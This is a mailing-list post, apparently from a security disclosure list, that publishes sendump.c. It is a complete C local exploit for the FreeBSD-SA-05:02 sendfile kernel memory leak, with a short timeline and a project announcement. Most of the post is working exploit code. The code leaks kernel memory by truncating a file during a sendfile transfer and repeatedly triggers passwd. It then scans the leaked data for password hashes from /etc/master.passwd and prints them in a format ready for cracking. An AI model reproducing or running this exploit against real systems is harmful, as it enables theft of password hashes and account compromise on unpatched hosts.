[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

6-year FreeBSD-SA-05:02.sendfile exploit



Hi,

This is almost 0-day.  In a sense.

I wrote this for a pentesting company.  I found it ethically OK to do
since the FreeBSD advisory was already out for a couple of weeks.
It turns out I was not alone to write an exploit for this bug, and to
publish the exploit this year.

Timeline:

2005/04/04 - FreeBSD-SA-05:02.sendfile published:
http://security.freebsd.org/advisories/FreeBSD-SA-05:02.sendfile.asc

2005/04/16 - reliable FreeBSD 4.x local exploit written ...

2005/04/21 - ... and updated to work on 5.x as well (up to 5.3)

2011/02/05 - Kingcope publishes "FreeBSD <= 5.4-RELEASE ftpd (Version
6.00LS) sendfile kernel mem-leak Exploit":
http://seclists.org/fulldisclosure/2011/Feb/83
(By the way, the "<=" is wrong.)

2011/04/01 - Hey, that's today.

<plug>
Openwall is participating in Google Summer of Code 2011.  Applications
from students and mentors are currently accepted.  And this is no joke.
Besides Owl and JtR tasks (for which we're already seeing a competition
among students), we have a number of reasonably crazy ideas that a
student could work on.  Please take a look.  Although our "capacity" for
GSoC 2011 is quite limited, some of these may be worked on outside of
GSoC as well.

http://www.google-melange.com/gsoc/org/google/gsoc2011/openwall
http://openwall.info/wiki/ideas
</plug>

--- sendump.c ---
/*
 * sendump - FreeBSD-SA-05:02.sendfile exploit - 2005/04/16.
 * Updated for FreeBSD 5.x, added alternate hash types, added optional
 * relaxed pattern matching - 2005/04/21.
 *
 * This program is meant to be used in controlled environments only.
 * If found in the wild, please return to ... wait, this is public now,
 * and this program is hereby placed in the public domain.  Feel free to
 * reuse parts of the source code, etc.
 *
 * Password hashes will be dumped to stdout as they're being obtained.
 * There may be duplicates.
 *
 * Debugging may be enabled with one to three "-d" flags.  Debugging
 * information will be dumped to stderr and, for levels 2 and 3, to
 * the "dump" file.
 *
 * Relaxed pattern matching may be enabled with "-r".  This increases
 * the likelihood of printing garbage while also making it more likely
 * to actually catch the hashes.
 *
 * There's some risk of this program crashing the (vulnerable) system,
 * although this is not intentional.  Normally, the program just prints
 * password hashes from /etc/master.passwd in a format directly usable
 * with John the Ripper.
 *
 * Compile/link with "gcc -Wall -O2 -fomit-frame-pointer -s -lutil".
 *
 * Run this on a filesystem with soft-updates for best results.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#include <errno.h>
#include <assert.h>

/* for forkpty(); will also need to link against -lutil */
#include <sys/ioctl.h>
#include <termios.h>
#include <libutil.h>

#define Ki		1024
#define Mi		(1024 * Ki)

#define DUMP_NAME	"dump"

#define DUMMY_NAME	"dummy"
#define DUMMY_SIZE	(128 * Mi)
#define SOCKET_BUF	(196 * Ki)

#define DUMMY_RAND_BITS	4
#define DUMMY_RAND_MASK	((1 << DUMMY_RAND_BITS) - 1)

#define MAX_LOGIN	16
#define MAX_GECOS	128
#define MAX_HOME	128
#define MAX_SHELL	128

static char itoa64[64] =
	"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

static int debug = 0, relaxed = 0;
static char buf[SOCKET_BUF];

static void pexit(char *what)
{
	perror(what);
	exit(1);
}

static void write_loop(int fd, char *buf, int count)
{
	int offset, block;

	offset = 0;
	while (count > 0) {
		block = write(fd, &buf[offset], count);
		if (block < 0) pexit("write");
		if (!block) {
			fprintf(stderr, "write: Returned 0\n");
			exit(1);
		}

		offset += block;
		count -= block;
	}
}

static void dump(char *buf, int count)
{
	static int fd = -1;

	if (fd < 0) {
		fd = creat(DUMP_NAME, S_IRUSR | S_IWUSR);
		if (fd < 0) pexit("creat");
	}
	write_loop(fd, buf, count);
}

static int nonzero(char *buf, int count)
{
	char *p, *end;

	p = buf;
	end = buf + count;
	while (p < end)
		if (*p++) return 1;

	return 0;
}

static int search(char *buf, int count)
{
	static char prevuser[MAX_LOGIN + 1], prevpass[61];
	char *p, *q, *end;
	int n;
	char *user, *pass, *gecos, *home, *shell;
	struct passwd *pw;
	int found = 0;

	p = buf;
	end = buf + count;
	while (p < end && (p = memchr(p, '/', end - p))) {
		q = p++;
		if (q < buf + (1+1+1+13+2+0+1+1+1)) continue;
		shell = q;
		n = 0;
		while (q < end && *q++ > ' ') n++;
		if (n < 2 || n > MAX_SHELL) continue;
		if (q >= end || *q != '\0') continue;
		q = shell;
		if (*--q != '\0') continue;
		n = 0;
		while (q > buf && *--q > ' ') n++;
		if (n < 1 || n > MAX_HOME) continue;
		home = q + 1;
		if (!relaxed && *home != '/') continue;
		if (q < buf + (1+1+1+13+2+0+1)) continue;
		if (*q != '\0') continue;
		n = 0;
		while (q > buf && *--q >= ' ') n++;
		if (n > MAX_GECOS) continue;
		gecos = q + 1;
		if (q < buf + (1+1+1+13+2-1)) continue;
		if (*q != '\0') continue;
		n = 1;
		while (q > buf && *--q == '\0') n++;
		if (n != 2 || !memchr(itoa64, *q, 64)) {
			/* Doesn't look like FreeBSD 4.x, suspect 5.x */
			if (*(q + n - 13) == '\0' &&
			    memchr(itoa64, *(q + n - 14), 64))
				/* Looks like FreeBSD 5.x */
				q += n - 14;
			else
			if (!relaxed) continue;
		}
		q++;
		n = 0;
		while (q > buf && memchr(itoa64, *--q, 64)) n++;
		switch (n) {
		case 22:
			/* MD5-based */
			if (q < buf + (1+1+1+3+1+1-1)) continue;
			if (*q != '$') continue;
			n = 0;
			while (q > buf && memchr(itoa64, *--q, 64)) n++;
			if (n < 1 || n > 8) continue;
			if (q < buf + (1+1+1+3-1)) continue;
			if (*q != '$') continue;
			if (*--q != '1') continue;
			if (*--q != '$') continue;
			break;
		case 13:
			/* Traditional DES-based */
			q++;
			break;
		case 53:
			/* bcrypt */
			if (*q != '$') continue;
			q--;
			if (*q < '0' || *q > '9') continue;
			q--;
			if (*q < '0' || *q > '3') continue;
			if (*--q != '$') continue;
			if (*--q != 'a') continue;
			if (*--q != '2') continue;
			if (*--q != '$') continue;
			break;
		case 19:
			/* Extended DES-based */
			if (*q == '_') break;
		default:
			continue;
		}
		pass = q;
		if (q < buf + (1+1+1)) continue;
		if (*--q == '*' && q >= buf + (1+1+1+8)) {
			q -= 7;
			if (memcmp(q, "*LOCKED", 7)) continue;
			pass = q;
			q--;
		}
		if (*q != '\0') continue;
		n = 0;
		while (q > buf && *--q >= '0') n++;
		if (n < 1 || n > MAX_LOGIN || q <= buf) continue;
		user = q + 1;

		pw = getpwnam(user);
		if (!relaxed && !pw) continue;

		found = 1;

		if (!strcmp(user, prevuser) && !strcmp(pass, prevpass))
			continue;

		strcpy(prevuser, user);
		strcpy(prevpass, pass);

		if (pw)
			printf("%s:%s:%u:%u:%s:%s:%s\n",
				user, pass,
				pw->pw_uid, pw->pw_gid, gecos, home, shell);
		else
			printf("%s:%s:?:?:%s:%s:%s\n",
				user, pass, gecos, home, shell);
	}

	return found;
}

static void exec_passwd(void)
{
	int tty, pid;

	switch ((pid = forkpty(&tty, NULL, NULL, NULL))) {
	case -1:
		pexit("forkpty");

	case 0:
		execl("/usr/bin/passwd", "passwd", NULL);
		pexit("execl");
	}

	write_loop(tty, "\n", 1);
	close(tty);

	if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
	if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");
}

static void usage(void)
{
	extern char *__progname;

	fprintf(stderr, "Usage: %s [-d[d[d]]] [-r]\n", __progname);
	exit(1);
}

static void tune(int argc, char **argv)
{
	int c;

	while ((c = getopt(argc, argv, "dr")) != -1) {
		switch (c) {
		case 'd':
			debug++;
			break;
		case 'r':
			relaxed++;
			break;
		default:
			usage();
		}
	}
	if (argc != optind) usage();
}

int main(int argc, char **argv)
{
	int dummy, lin, in, out;
	int pid;
	struct sockaddr_in sin;
	socklen_t sin_length;
	int optval;
	off_t dummy_size;
	int count;

	tune(argc, argv);

	dummy = open(DUMMY_NAME, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR);
	if (dummy < 0) pexit("open");

	if (unlink(DUMMY_NAME)) pexit("unlink");

	lin = socket(PF_INET, SOCK_STREAM, 0);
	if (lin < 0) pexit("socket");

	if (listen(lin, 1)) pexit("listen");

	sin_length = sizeof(sin);
	if (getsockname(lin, (struct sockaddr *)&sin, &sin_length))
		pexit("getsockname");
	assert(sin_length == sizeof(sin));

more:
	exec_passwd();

	dummy_size = DUMMY_SIZE >> ((rand() >> 16) & DUMMY_RAND_MASK);
	if (ftruncate(dummy, dummy_size)) pexit("ftruncate");

	switch ((pid = fork())) {
	case -1:
		pexit("fork");

	case 0:
		out = socket(PF_INET, SOCK_STREAM, 0);
		if (out < 0) pexit("socket");

		if (connect(out, (struct sockaddr *)&sin, sin_length))
			pexit("connect");

		if (sendfile(dummy, out, 0, DUMMY_SIZE, NULL, NULL, 0))
			pexit("sendfile");

		return 0;
	}

	in = accept(lin, NULL, NULL);
	if (in < 0) pexit("accept");

	optval = SOCKET_BUF;
	if (setsockopt(in, SOL_SOCKET, SO_RCVBUF, &optval, sizeof(optval)))
		perror("setsockopt");

	if (ftruncate(dummy, 0)) pexit("ftruncate");

	do {
		count = read(in, buf, sizeof(buf));
		if (count < 0) pexit("read");

		if (debug >= 3) {
			if (nonzero(buf, count)) {
				fprintf(stderr, "NZ (%d)\n", count);
				dump(buf, count);
				search(buf, count);
			} else
				fprintf(stderr, "Z (%d)\n", count);
		} else {
			if (search(buf, count)) {
				if (debug) fputc('$', stderr);
				if (debug >= 2)
					dump(buf, count);
			} else
			if (debug)
				fputc(nonzero(buf, count) ? '+' : '-', stderr);
		}
	} while (count);

	if (debug) {
		if (debug < 3)
			fputc('|', stderr);
		else
			fputs("---\n", stderr);
	}

	if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
	if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");

	close(in);

	fflush(stdout);

	goto more;
}
---

Alexander